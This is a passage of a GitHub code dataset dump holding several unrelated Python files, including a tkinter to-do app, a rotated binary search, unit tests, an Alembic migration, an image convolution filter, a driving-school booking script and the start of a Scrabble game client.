function is primarily used to achieve a certain float representation\n    before exporting to JSON\n    Args:\n    x         (float) Scalar to truncate\n    precision (int)   The number of significant digits to preserve, should be\n                      greater or equal 1\n    \"\"\"\n\n    assert precision > 0\n\n    if np.isclose(x, 0):\n        return 0\n    else:\n        # Determine the factor, which shifts the decimal point of x\n        # just behind the last significant digit\n        factor = math.pow(10, precision - 1 - math.floor(math.log10(abs(x))))\n        # Shift decimal point by multiplicatipon with factor, flooring, and\n        # division by factor\n        return math.floor(x * factor) / factor\n\n\ndef convert_yolo_to_xywh(yolo_box):\n    \"\"\"\n    Converts a YOLO format bounding box to [x_min, y_min, width_of_box, height_of_box].\n    Args:\n        yolo_box: bounding box of format [x_center, y_center, width_of_box, height_of_box].\n    Returns:\n        bbox with coordinates represented as [x_min, y_min, width_of_box, height_of_box].\n    \"\"\"\n    x_center, y_center, width_of_box, height_of_box = yolo_box\n    x_min = x_center - width_of_box / 2.0\n    y_min = y_center - height_of_box / 2.0\n    return [x_min, y_min, width_of_box, height_of_box]\n","repo_name":"hayabhay/megadetector-fastapi","sub_path":"api/api_utils.py","file_name":"api_utils.py","file_ext":"py","file_size_in_byte":3466,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"18"}
{"seq_id":"3823698161","text":"from tkinter import *\r\nimport tkinter as tk\r\nfrom tkinter import messagebox \r\n\r\n# Function to add a new task to the list\r\ndef add_task():\r\n    task = entry.get()\r\n    if task:\r\n        task_listbox.insert(tk.END, task)\r\n        entry.delete(0, tk.END)\r\n    else:\r\n        messagebox.showwarning(\"Alert!\", \"Please add a task.\")\r\n\r\n# Function to remove the selected task from the list\r\ndef remove_task():\r\n    \r\n    try:\r\n        selected_index = task_listbox.curselection()[0]\r\n        task_listbox.delete(selected_index)\r\n    except IndexError:\r\n        messagebox.showwarning(\"Alert!\", \"Please select at Least one task.\")\r\n\r\n\r\nglobal entry,task_listbox\r\n# Create the main application window\r\napp = tk.Tk()\r\napp.title(\"To-Do List\")\r\napp.geometry(\"1000x600\")\r\napp.configure(bg=\"cyan\")\r\n\r\n\r\n# Create the task listbox\r\ntask_listbox = Listbox(app,borderwidth=12,font=(\"Times\",14),width = 40,height=15, fg = \"blacK\",bg = \"white\",relief = RAISED)\r\ntask_listbox.pack(pady=10)\r\n\r\n# Create the task entry\r\nentry = Entry(app, font=(\"Times\", 18),width=20,fg = \"black\",borderwidth=8,bg = \"white\",relief = RAISED)\r\nentry.pack(pady=10)\r\n\r\n# Custom-styled colorful buttons\r\nbutton_styles = {\r\n    \"add\": {\"bg\": \"red\", \"fg\": \"white\"},\r\n    \"remove\": {\"bg\": \"green\", \"fg\": \"white\"}   \r\n}\r\n\r\nbutton_frame = Frame(app,bg=\"cyan\")\r\nbutton_frame.pack(pady=10)\r\n\r\nCreate = Button(button_frame, text=\"Create Task\", command=add_task,borderwidth=6,font=(\"Times\",14),width = 8, fg = \"white\",bg = \"green\", padx=5,pady=5,relief = RAISED)\r\nCreate.grid(row=0, column=0,padx=40)\r\n\r\n\r\n\r\nDelete = Button(button_frame, text=\"Delete\", command=remove_task,borderwidth=6,font=(\"Times\",14),width = 8, fg = \"white\",bg = \"red\", padx=5,pady=5,relief = RAISED)\r\nDelete.grid(row=4, column=0,padx=40)\r\n\r\n\r\n\r\n# Start the main event loop\r\napp.mainloop()\r\n","repo_name":"Ramisali123/CodSoft","sub_path":"Task_1_TodoList.py","file_name":"Task_1_TodoList.py","file_ext":"py","file_size_in_byte":1808,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"21119074674","text":"\"\"\"\nSearch an element in a sorted and rotated array\n\"\"\"\n\n\ndef get_mid_index(start: int, end: int) -> int:\n    return start + int((end - start) / 2)\n\n\ndef get_first_position(arr: list, start: int, end: int) -> int:\n    if arr[start] <= arr[end]:\n        return start\n\n    while start <= end:\n        mid = get_mid_index(start, end)\n\n        if arr[mid] > arr[mid + 1] and arr[mid] > arr[mid - 1]:\n            return mid + 1\n        if arr[mid] < arr[mid + 1] and arr[mid] < arr[mid - 1]:\n            return mid\n        elif arr[mid] > arr[0]:\n            start = mid + 1\n        else:\n            end = mid - 1\n\n    return -1\n\n\ndef bin_search(arr: list, start: int, end: int, k: int) -> int:\n    while start <= end:\n        mid = get_mid_index(start, end)\n\n        if arr[mid] == k:\n            return mid\n        elif arr[mid] < k:\n            start = mid + 1\n        else:\n            end = mid - 1\n\n    return -1\n\n\ndef rotated_bin_search(arr: list, k: int) -> int:\n    \"\"\"\n    Find the starting point.\n    Depending on the value of k, search in first or second half\n    Time complexity: O(log(n))\n    \"\"\"\n    start, end = 0, len(arr) - 1\n    first = get_first_position(arr, start, end)\n\n    if k > arr[-1]:\n        end = first - 1\n    else:\n        start = first\n\n    return bin_search(arr, start, end, k)\n\n\ndef rotated_bin_search_optimised(arr: list, k: int) -> int:\n    \"\"\"\n    Similar to binary search, but with more conditionss\n    \"\"\"\n    start, end = 0, len(arr) - 1\n\n    while start <= end:\n        mid = get_mid_index(start, end)\n\n        if arr[mid] == k:\n            return mid\n        if arr[mid] > arr[start]:\n            if arr[0] > k or k > arr[mid]:\n                start = mid + 1\n            else:\n                end = mid - 1\n        else:\n            if k > arr[0] or k < arr[mid]:\n                end = mid - 1\n            else:\n                start = mid + 1\n\n    return -1\n\n\nif __name__ == \"__main__\":\n    print(rotated_bin_search([5, 6, 7, 8, 9, 10, 1, 2, 3], 3))\n    print(rotated_bin_search([5, 6, 7, 8, 9, 10, 1, 2, 3], 30))\n    print(rotated_bin_search([30, 40, 50, 10, 20], 10))\n\n    print(rotated_bin_search_optimised([5, 6, 7, 8, 9, 10, 1, 2, 3], 3))\n    print(rotated_bin_search_optimised([5, 6, 7, 8, 9, 10, 1, 2, 3], 30))\n    print(rotated_bin_search_optimised([30, 40, 50, 10, 20], 10))\n","repo_name":"rrwt/daily-coding-challenge","sub_path":"gfg/arrays/search_in_rotated_array.py","file_name":"search_in_rotated_array.py","file_ext":"py","file_size_in_byte":2325,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"44492352868","text":"import unittest\nfrom mlptkeps.episodeframework import *\nfrom . import *\n\nclass TestEpisode(unittest.TestCase):\n    \n    def test_episode_equality(self):\n        self.assertEqual(Episode(2,3,'xwhataniceid',title='This is a demo video',status=1),Episode(2,3,'xwhataniceid',title='This is a demo video'))\n        \n    def test_episode_to_string(self):\n        self.assertEqual(Episode(2,3,'x123456',title='Example Title').__str__(), 's2ep3 - \\'Example Title\\'')\n        \n    def test_episode_repr(self):\n        self.assertEqual(Episode(2,3,'xmLPfIm',title='Example Title').__repr__(), 's2ep3 - \\'Example Title\\' (xmLPfIm)')\n    \n    def test_episode_less_than(self):\n        eps = [Episode(s,ep,'id') for s in range(1,3) for ep in range(1,3)]\n        results = [ep1 < ep2 for ep1 in eps for ep2 in eps]\n        self.assertListEqual(results,[\n            False, True,  True,  True,\n            False, False, True,  True,\n            False, False, False, True,\n            False, False, False, False\n        ])\n    \n    def test_episode_greater_than(self):\n        eps = [Episode(s,ep,'id') for s in range(1,3) for ep in range(1,3)]\n        results = [ep1 > ep2 for ep1 in eps for ep2 in eps]\n        self.assertListEqual(results,[\n            False, False, False, False,\n            True,  False, False, False,\n            True,  True,  False, False,\n            True,  True,  True,  False\n        ])\n    \n    def test_episode_less_equal(self):\n        eps = [Episode(s,ep,'id') for s in range(1,3) for ep in range(1,3)]\n        results = [ep1 <= ep2 for ep1 in eps for ep2 in eps]\n        self.assertListEqual(results,[\n            True,  True,  True,  True,\n            False, True,  True,  True,\n            False, False, True,  True,\n            False, False, False, True\n        ])\n    \n    def test_episode_greater_equal(self):\n        eps = [Episode(s,ep,'id') for s in range(1,3) for ep in range(1,3)]\n        results = [ep1 >= ep2 for ep1 in eps for ep2 in eps]\n        self.assertListEqual(results,[\n            True,  False, False, False,\n            True,  True,  False, False,\n            True,  True,  True,  False,\n            True,  True,  True,  True\n        ])\n    \n    def test_episode_not_equal(self):\n        eps = [Episode(s,ep,'id') for s in range(1,3) for ep in range(1,3)]\n        results = [ep1 != ep2 for ep1 in eps for ep2 in eps]\n        self.assertListEqual(results,[\n            False, True,  True,  True,\n            True,  False, True,  True,\n            True,  True,  False, True,\n            True,  True,  True,  False\n        ])\n    \n    def test_episode_int(self):\n        eps = [int(Episode(s,ep,'id')) for s in range(1,3) for ep in range(1,3)]\n        self.assertListEqual(eps,[101, 102, 201, 202])\n    \n    def test_episode_reject_non_alphanumeric_ids(self):\n        bad_hombres = '<>&\"/\\''\n        for char in bad_hombres:\n            self.assertRaises(ValueError,Episode,1,1,char)","repo_name":"Tsa6/Tsa6.tk","sub_path":"mlptkeps/unit_tests/test_framework/test_episode.py","file_name":"test_episode.py","file_ext":"py","file_size_in_byte":2919,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"42144658061","text":"\"\"\"like & log\n\nRevision ID: 69b3373ee6e1\nRevises: cf18842e9a46\nCreate Date: 2018-04-18 23:30:28.736727\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\nfrom sqlalchemy.dialects import mysql\n\n# revision identifiers, used by Alembic.\nrevision = '69b3373ee6e1'\ndown_revision = 'cf18842e9a46'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.add_column('user', sa.Column('get_like_num', sa.BigInteger(), nullable=True))\n    op.drop_column('user', 'thanks_num')\n    op.drop_column('user', 'like_num')\n    op.add_column('user_log', sa.Column('info', sa.String(length=32), nullable=True))\n    op.create_index(op.f('ix_user_log_ip'), 'user_log', ['ip'], unique=False)\n    op.drop_column('video', 'unlike')\n    op.drop_column('video', 'thanks')\n    # ### end Alembic commands ###\n\n\ndef downgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.add_column('video', sa.Column('thanks', mysql.BIGINT(display_width=20), autoincrement=False, nullable=True))\n    op.add_column('video', sa.Column('unlike', mysql.BIGINT(display_width=20), autoincrement=False, nullable=True))\n    op.drop_index(op.f('ix_user_log_ip'), table_name='user_log')\n    op.drop_column('user_log', 'info')\n    op.add_column('user', sa.Column('like_num', mysql.BIGINT(display_width=20), autoincrement=False, nullable=True))\n    op.add_column('user', sa.Column('thanks_num', mysql.BIGINT(display_width=20), autoincrement=False, nullable=True))\n    op.drop_column('user', 'get_like_num')\n    # ### end Alembic commands ###\n","repo_name":"e1ijah1/flask_movie_3","sub_path":"migrations/versions/69b3373ee6e1_like_log.py","file_name":"69b3373ee6e1_like_log.py","file_ext":"py","file_size_in_byte":1589,"program_lang":"python","lang":"en","doc_type":"code","stars":28,"dataset":"github-code","pt":"18"}
{"seq_id":"35657784931","text":"#digite um número de 0 a 20 e mostre-o por extenso\n\nn1 = ('zero', 'um', 'dois', 'três', 'quatro', 'cinco', 'seis', 'sete', 'oito', 'nove', 'dez', 'onze', 'doze', 'treze', 'quatorze'\n     , 'quinze', 'dezesseis', 'dezessete', 'dezoito', 'dezenove', 'vinte')\nwhile True:\n    while True:\n        numero = int(input('Digite um número de 0 a 20 :'))\n        if numero > 20:\n            print('Número inválido ! !', end=' ')\n        else:\n            break\n    for pos, n in enumerate(n1):\n        if pos == numero:\n            print(f'Você digitou o número {n}')","repo_name":"RafaelMaldivas/Mundo3","sub_path":"ex072.py","file_name":"ex072.py","file_ext":"py","file_size_in_byte":564,"program_lang":"python","lang":"pt","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"}
{"seq_id":"11507432988","text":"import multiprocessing\nfrom PIL import Image\n\ndef read_filter_matrix_from_file(file_path):\n    with open(file_path, \"r\") as file:\n        lines = file.readlines()\n\n    filter_matrix = []\n    for line in lines:\n        values = [float(eval(val)) for val in line.strip().split()]\n        filter_matrix.append(values)\n\n    return filter_matrix\n\ndef apply_filter_chunk(image, filter_matrix, chunk_start, chunk_end, result_queue):\n    width, height = image.size\n    filter_size = len(filter_matrix)\n    filter_radius = filter_size // 2\n\n    chunk_filtered_pixels = []\n\n    for x in range(chunk_start[0], chunk_end[0]):\n        for y in range(chunk_start[1], chunk_end[1]):\n            new_pixel = [0, 0, 0]\n\n            for i in range(filter_size):\n                for j in range(filter_size):\n                    img_x = x + i - filter_radius\n                    img_y = y + j - filter_radius\n\n                    if img_x < 0 or img_x >= width or img_y < 0 or img_y >= height:\n                        pixel = (0, 0, 0)\n                    else:\n                        pixel = image.getpixel((img_x, img_y))\n\n                    for c in range(3):\n                        new_pixel[c] += pixel[c] * filter_matrix[i][j]\n\n            new_pixel = tuple(int(val) for val in new_pixel)\n            chunk_filtered_pixels.append(((x, y), new_pixel))\n\n    result_queue.put(chunk_filtered_pixels)\n\ndef apply_filter_parallel(image, filter_matrix, num_processes):\n    width, height = image.size\n    chunk_height = height // num_processes\n\n    processes = []\n    result_queue = multiprocessing.Queue()\n\n    for i in range(num_processes):\n        chunk_start = (0, i * chunk_height)\n        chunk_end = (width, (i + 1) * chunk_height if i < num_processes - 1 else height)\n        process = multiprocessing.Process(target=apply_filter_chunk, args=(image, filter_matrix, chunk_start, chunk_end, result_queue))\n        processes.append(process)\n        process.start()\n\n    filtered_image = Image.new(\"RGB\", (width, height))\n\n    for _ in range(num_processes):\n        chunk_filtered_pixels = result_queue.get()\n        for pixel_coords, pixel_value in chunk_filtered_pixels:\n            filtered_image.putpixel(pixel_coords, pixel_value)\n\n    for process in processes:\n        process.join()\n\n    return filtered_image\n\ndef custom_filter(imagepath,filename):\n    input_image_path = imagepath\n    output_image_path = \"filtered_image_parallel.jpg\"\n    filter_matrix_file = filename\n\n    max_processes = multiprocessing.cpu_count()\n    num_processes = min(4, max_processes)\n\n    filter_matrix = read_filter_matrix_from_file(filter_matrix_file)\n\n    input_image = Image.open(input_image_path)\n    filtered_image = apply_filter_parallel(input_image, filter_matrix, num_processes)\n    filtered_image.save(output_image_path)\n\n    print(\"Filter applied in parallel and saved as filtered_image_parallel.jpg\")","repo_name":"YKhanna2003/Algorithms_On_Satellite_Imagery","sub_path":"Filter_Support/custom_filt.py","file_name":"custom_filt.py","file_ext":"py","file_size_in_byte":2881,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"22483343073","text":"\r\n\r\n\r\n\r\nimport pandas as pd\r\nimport numpy as np\r\nimport logging\r\n\r\nlogger = logging.getLogger('mylogger')\r\nlogger.setLevel(logging.DEBUG)\r\nlogging.info('hh')\r\n\r\n\r\n\r\nfrom pyecharts.charts import Bar, Grid, Line,Page\r\nfrom pyecharts import options as opts\r\nfrom pyecharts.charts import Bar\r\n\r\n\r\n\r\n# 读取数据\r\nsample = pd.read_csv('/home/bb5/xw/mxg_scores/20210120_pg_v3_old.csv',encoding='gbk')\r\n\r\nsample['y']=sample['age'].map(lambda x: 1 if x>=7 else 0)\r\n\r\ntrain = sample.fillna(-999)  # None填充\r\n\r\n\r\n# 读取保存好的 model 和feature names\r\npath ='/home/bb5/xw/mxg_scores'\r\ninput_xgb_features_path=path+'/lgbm_v1_features.csv'\r\nchosen_feature_pd=pd.read_csv(input_xgb_features_path,encoding='UTF-8')\r\nchosen_feature=list(np.array(chosen_feature_pd.iloc[:,0],dtype='str'))\r\nprint('chosen_feature: ' ,chosen_feature)\r\n\r\n\r\npage = Page()\r\nprint('模型bin分布 *******************')\r\n\r\n# bin 分布\r\n#\r\n# df_bin = pd.read_csv('/home/bb5/xw/mxg_scores/monitor/v3_bin.csv', encoding='gbk')\r\n# bins = ['bin1', 'bin2', 'bin3', 'bin4', 'bin5', 'bin6', 'bin7','bin8', 'bin9', 'bin10', 'bin11', 'bin12', 'bin13', 'bin14', 'bin15']\r\n# bar_bin = Bar()\r\n# bar_bin.add_xaxis(list(df_bin['apply_time']))\r\n# for bin in bins:\r\n#     bar_bin.add_yaxis(bin, list(df_bin[bin]), stack=\"stack1\")\r\n# bar_bin.set_series_opts(label_opts=opts.LabelOpts(is_show=False))\r\n# bar_bin.set_global_opts(title_opts=opts.TitleOpts(title='v3_bin'),\r\n#                         datazoom_opts = [opts.DataZoomOpts(range_start=0, range_end=100), ],\r\n#                         legend_opts = opts.LegendOpts(pos_left=\"right\", orient='vertical'), )\r\n# bar_bin.render(\"v3_bin.html\")\r\n#\r\n# page.add(bar_bin)\r\n\r\n\r\n# 模型特征变量分布\r\nprint('模型特征变量分布 *******************')\r\n\r\n\r\nnum=0\r\nfor feature in chosen_feature:\r\n    num+=1\r\n\r\n    feature_value = sample[feature].unique()\r\n    feature_value.sort()\r\n    if len(feature_value)>=15:\r\n        _, bin = pd.qcut(sample[feature], 10, retbins=True, duplicates='drop')\r\n    else: bin = list(feature_value)\r\n\r\n    bin = list(bin)\r\n    bin.insert(0, -999999)\r\n    bin.pop()\r\n    bin.append(float('inf'))\r\n\r\n    col_list = [str(i) for i in bin]\r\n    train['bin'] = pd.cut(train[feature], bin, right=False, labels=col_list[0:-1])\r\n    tmp = train.groupby(['apply_time', 'bin'])['y'].count()\r\n    tmp = tmp.reset_index()\r\n    tmp = pd.DataFrame(tmp)\r\n    tmp = pd.pivot(tmp, index=\"apply_time\", columns=\"bin\", values=\"y\")\r\n    tmp.columns = tmp.columns.astype(str)\r\n    tmp['total'] = tmp.apply(lambda x: x.sum(), axis=1)\r\n\r\n    col_list = tmp.columns.to_list()\r\n    bar = Bar()\r\n    bar.add_xaxis(list(tmp.index))\r\n    for i in range(len(col_list[0:-1])):\r\n        bar.add_yaxis(col_list[i], list(tmp[col_list[i]] / tmp['total']), stack=\"stack1\")\r\n\r\n    bar.set_series_opts(label_opts=opts.LabelOpts(is_show=False))\r\n    bar.set_global_opts(title_opts=opts.TitleOpts(title=feature),\r\n                        datazoom_opts=[opts.DataZoomOpts(range_start=0,range_end=100), ],\r\n                        #toolbox_opts=opts.ToolboxOpts(),\r\n                        legend_opts=opts.LegendOpts(pos_left=\"right\",orient='vertical'),)\r\n\r\n    page.add(bar)\r\n    logger.info('数量 {}  完成 {}'.format(num,feature))\r\n\r\npage.render(\"v3_old.html\")\r\n\r\n\r\n\r\n","repo_name":"xingweihappyer/credit-card","sub_path":"model_monitor.py","file_name":"model_monitor.py","file_ext":"py","file_size_in_byte":3273,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"70498867880","text":"from fitnessFunction_vehicle import fitnessFunction_vehicle\nimport pickle\nimport numpy as np\nfrom input_output_difference import input_output_difference\nimport scipy.io as sio\n\nwith open(\"best_individual_robust\", \"rb\") as f:\n    best_individual = pickle.load(f) \n\nfrom os import listdir\nfrom os.path import isfile, join\n\ncreate_output_diff_map = True\n\n#files_path = \"10_neuron_sparse_scan\"\n\n#files = [f for f in listdir(files_path) if isfile(join(files_path, f))]\n\n#file_index = np.random.randint(low=0, high=200)\n#with open(files_path + \"/\" + files[file_index], \"rb\") as f:\n#    best_individual = pickle.load(f) \n\nnum_neurons = 6\nparams = best_individual[\"params\"]\nlesion_fitness = np.zeros(num_neurons**2)\noutput_diff_lesion = np.zeros((num_neurons**2,10,10))\n# A start to the ablation analysis\nfor i in range(num_neurons**2):\n    modified_params = np.copy(best_individual[\"params\"])\n    # Set param to 0 (set to 0.4 becuase it is between 1/3 and 2/3)\n    if (modified_params[i] > 2/3) or (modified_params[i] < 1/3):\n        modified_params[i] = 0.4\n\n        lesion_fitness[i] =fitnessFunction_vehicle(        \n            modified_params,\n            best_individual[\"ctrnn_size\"],\n            best_individual[\"ctrnn_step_size\"],\n            best_individual[\"bv_duration\"],\n            best_individual[\"bv_distance\"],\n            best_individual[\"bv_step_size\"],\n            best_individual[\"transient_steps\"],\n            best_individual[\"discrete\"],\n            )\n        print(i)\n        print(\"of\")\n        print(num_neurons**2)\n        print(lesion_fitness[i])  \n\n        if create_output_diff_map:\n            output_diff_lesion[i,:,:] = input_output_difference(modified_params, best_individual)\n    else:\n        print(\"skip no edge\")\n        if create_output_diff_map:\n            output_diff_lesion[i,:,:] = input_output_difference(modified_params, best_individual)\n# Checking robustness. Solutions are not robust at all to changes in sign, but they are robust to variations\n# of about +-0.5\n\nrange = np.arange(-5, 5, 0.1)\nrobustness = np.zeros(len(range))\ni = 0\nfor multiplier in range:\n    \n    robustness[i] = fitnessFunction_vehicle(        \n        best_individual[\"params\"],\n        best_individual[\"ctrnn_size\"],\n        best_individual[\"ctrnn_step_size\"],\n        best_individual[\"bv_duration\"],\n        best_individual[\"bv_distance\"],\n        best_individual[\"bv_step_size\"],\n        best_individual[\"transient_steps\"],\n        best_individual[\"discrete\"],\n        multiplier\n        )\n\n    print(i) \n    print(\"mult\")\n    print(multiplier)\n    print(robustness[i])\n    i +=1\n\n\n\n\n\n\n\n#dirr = '10_neuron_sparse_scan/edge_lesion_sparse'\n#post = str(file_index)+\".mat\"\n\n#name_it = dirr+post\n\n#sio.savemat(name_it, mdict={'lesion_edge': lesion_fitness})\n\n#dirr = '10_neuron_sparse_scan/robustness_sparse'\n#post = str(file_index)+\".mat\"\n\n#name_it = dirr+post\n\n#sio.savemat(name_it, mdict={'robustness': robustness})\n\ndirr = 'parameters_for_matlab/edge_lesion_robust'\npost = \".mat\"\n\nname_it = dirr+post\n\nsio.savemat(name_it, mdict={'lesion_edge': lesion_fitness})\n\ndirr = 'parameters_for_matlab/robustness_robust'\npost = \".mat\"\n\nname_it = dirr+post\n\nsio.savemat(name_it, mdict={'robustness': robustness})\n\ndirr = 'parameters_for_matlab/output_diff_lesion'\npost = \".mat\"\n\nname_it = dirr+post\n\nsio.savemat(name_it, mdict={'output_diff_lesion': output_diff_lesion})","repo_name":"JacobColbyTanner/weightagnostic_ctrnn","sub_path":"ablation_analysis.py","file_name":"ablation_analysis.py","file_ext":"py","file_size_in_byte":3376,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"6198782552","text":"#!/usr/bin/env python3\r\n# -*- coding: utf-8 -*-\r\n\r\nfrom urllib.request import urlretrieve\r\nimport requests\r\nimport random\r\nfrom datetime import *\r\nfrom dateutil.parser import *\r\nimport json\r\ntry:\r\n    import cookielib\r\nexcept:\r\n    import http.cookiejar as cookielib\r\ntry:\r\n    from PIL import Image\r\nexcept:\r\n    pass\r\n\r\ndatas = {'active': 'verification'}\r\nheaders = {'Host':'bjllfx.com',\r\n           'Referer': 'http://bjllfx.com/mbe/login.html',\r\n           'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0',\r\n           'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',\r\n           'Accept': '*/*',\r\n           'Accept-Language': 'zh-CN',\r\n           'Accept-Encoding':'gzip, deflate',\r\n           'Connection': 'Keep-Alive'}\r\n\r\ndef login():\r\n    login_url = 'http://bjllfx.com/mbe/api/login.ashx'\r\n    datas['mobile'] = '139########'\r\n    datas['pwd'] = '********'\r\n    datas['r'] = random.random()\r\n    resp = session.post(login_url, data=datas, headers=headers)\r\n    if resp.status_code == 200:\r\n        session.cookies.save()\r\n    else:\r\n        return False\r\n    return True\r\n\r\ndef book_car():\r\n    #Input booking date\r\n    number = -1\r\n    while number < 0 or number > 2:\r\n        str_number = input('Input a date - 0: Today; 1: T+1; 2: T+2 (Default) : ')\r\n        if str_number.strip() == '':\r\n            number = 2\r\n        else:\r\n            number = int(str_number)\r\n         \r\n#    book_date = parse(input('Please input booking date:')).date()\r\n    today =  date.today()\r\n    book_date = today + timedelta(days=number)\r\n    print(\"Date Inputed: %s \"% book_date.strftime('%Y-%m-%d'))\r\n    #Query available time \r\n    headers = {'Host':'bjllfx.com',\r\n           'Referer': 'http://bjllfx.com/mbe/online.html',\r\n           'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0',\r\n           'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',\r\n           'Accept': '*/*',\r\n           'Accept-Language': 'zh-CN',\r\n           'Accept-Encoding':'gzip, deflate'}\r\n    post_url = \"http://bjllfx.com/mbe/api/online.ashx?r=0.943978761644576\"\r\n    post_data = {'active':'availabletime',\r\n                 'trainerID':'XXX', #Fill your trainer ID\r\n                 'carID':'XX', #Fill your car  ID\r\n                 'hour':'2',\r\n                 'service':'计时卡'}\r\n    post_data['date'] = book_date.strftime('%Y-%m-%d')\r\n    post_data['r'] = random.random()\r\n    resp = session.post(post_url, data=post_data, headers=headers)\r\n    resp.encoding = resp.apparent_encoding\r\n    json_data = resp.json()\r\n    msg = json_data.get('msg')\r\n    #User logout, relogin\r\n    if msg.strip() != 'success':\r\n        print(msg)\r\n        login()\r\n        resp = session.post(post_url, data=post_data, headers=headers)\r\n        resp.encoding = resp.apparent_encoding\r\n        json_data = resp.json()\r\n\r\n    data = json_data.get('data')[1:-1]\r\n\r\n    #Car is not available on this day\r\n    if data.strip() == '':\r\n        print(\"Car is not available!\")\r\n        return False\r\n    dict_data = eval(data)\r\n\r\n    #Select a training time\r\n    print(\"  ID      StartTime   EndTime\")\r\n    print(\"————————————\")\r\n    idx = 1\r\n    if isinstance(dict_data, dict):\r\n        option = dict_data\r\n        start_time = int(option['startTime']) / 60\r\n        end_time = int(option['endTime']) / 60\r\n        print( \"%3d)       %2d:00         %2d:00\" % (idx,start_time, end_time), end='\\n')\r\n    else:\r\n        for option in dict_data:\r\n            start_time = int(option['startTime']) / 60\r\n            end_time = int(option['endTime']) / 60\r\n            print( \"%3d)       %2d:00         %2d:00\" % (idx,start_time, end_time), end='\\n')\r\n            idx = idx + 1\r\n    print(\"————————————\")\r\n\r\n    number = 0\r\n    while number < 1 or number > idx:\r\n        number = int(input('Please input a number:  '))\r\n    if idx > 1:\r\n        option = dict_data[number -1]\r\n    verify = 'N'\r\n    while verify != 'Y':\r\n        verify = input('Yes/No: ')[0].upper()\r\n\r\n    post_data = {'active':'addOrder',\r\n                 'cardNum':'NNNNNN', #Fill card number\r\n                 'cardType':'12小时卡',\r\n                 'cardService':'计时卡',\r\n                 'cardPriceType':'##############',# \r\n                 'address':'#####################',#\r\n                 'trainerID':'XXX',#\r\n                 'trainerName':'###################',#\r\n                 'trainerGrade':'1',#\r\n                 'trainerPhone':'###########',#\r\n                 'carID':'XX',#\r\n                 'carName':'################',#\r\n                 'carNum':'#############',#\r\n                 'priceType':'110.00',#\r\n                 'service':'计时卡',\r\n                 'note':''}\r\n    post_data['date'] = book_date.strftime('%Y-%m-%d')\r\n    post_data['itemTime'] = '{\\\"startTime\\\":'+str(option['startTime'])+',\\\"duration\\\":'+str(option['duration'])+'}'\r\n    post_data['r'] = random.random()\r\n    resp = session.post(post_url, data=post_data, headers=headers)\r\n    resp.encoding = resp.apparent_encoding\r\n    return True\r\n\r\n\r\nif __name__ == '__main__':\r\n    # try login with cookie at first\r\n    session = requests.session()\r\n    session.cookies = cookielib.LWPCookieJar(filename='YueChe_cookies')\r\n    try:\r\n        session.cookies.load(ignore_discard=True)\r\n    except:\r\n        print(\"Cookies load failed! \\n\")\r\n        login()\r\n        \r\n    book_car()\r\n","repo_name":"FrederickChen/Auto_Booking_BJLLFX","sub_path":"yueche.py","file_name":"yueche.py","file_ext":"py","file_size_in_byte":5484,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"22521847903","text":"import _thread\nimport sys\nimport socket\nimport time\n\nimport pygame\nfrom pygame.locals import *\nfrom logging import Logger\n\nfrom src.entities.Player import Player\nfrom src.game.Board import Board\nfrom src.game.Renderer import Renderer\nfrom src.game.constants import *\nfrom src.helpers.Managers import LetterManager\n\n\nclass Main:\n\n    host = '127.0.0.1'\n    port = 0\n    server = ('127.0.0.1', 5005)\n\n    def __init__(self):\n        pygame.init()\n        pygame.display.set_caption(\"Scrabble\")\n        self.logger = Logger(\"GAME\")\n        self.screen = pygame.display.set_mode((SCREEN_WIDTH, SCREEN_HEIGHT))\n        self.background = self.load_background()\n        self.letter_generator = LetterManager()\n        self.clock = pygame.time.Clock()\n        self.player = Player()\n        self.player.tiles = self.letter_generator.create_player_tiles(STARTING_RANDOMS)\n        self.board = Board(self.player, self.logger)\n        self.render_engine = Renderer(self.board, self.screen)\n        self.running = True\n        self.turn = 1\n        self.myTurn = False\n        self.socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n        self.socket.bind((self.host, self.port))\n        self.socket.setblocking(0)\n        self.port = self.socket.getsockname()[1]\n        _thread.start_new_thread(self.start(), ())\n\n    def start(self):\n        player_dragging_tile = False\n        tile_being_dragged = None\n        changed_tiles = []\n        next_arrow_click, revert_arrow_click = False, False\n        self.socket.sendto(\"\".encode(), self.server)\n        while self.running:\n            try:\n                self.receiveData()\n            except:\n                for event in pygame.event.get():\n                    if event.type == QUIT:\n                        self.end_process()\n                    if event.type == pygame.KEYDOWN and event.key == pygame.K_RETURN:\n                        self.check_turn(changed_tiles)\n                        changed_tiles = []\n                    if event.type == MOUSEBUTTONDOWN and self.myTurn:\n                        x, y = event.pos\n                        if player_dragging_tile:\n                            for row in self.board.tiles:\n                                for tile in row:\n                                    if tile.rect.colliderect(pygame.Rect(x, y, 1, 1)):\n                                        changed_tiles.append((tile.row, tile.col))\n                                        tile.change_to(tile_being_dragged.letter)\n                                        tile.occupied = True\n                                        tile_being_dragged.visible = False\n                                        self.logger.critical(\"'{0}' dropped at location: ({1}, {2})\".format(\n                                                                                             tile_being_dragged.letter,\n                                                                                             tile.row, tile.col))\n                            tile_being_dragged.reset()\n                            tile_being_dragged = None\n                            player_dragging_tile = False\n                        else:\n                            for random_tile in self.player.tiles:\n                                if random_tile.rect.collidepoint(x, y) 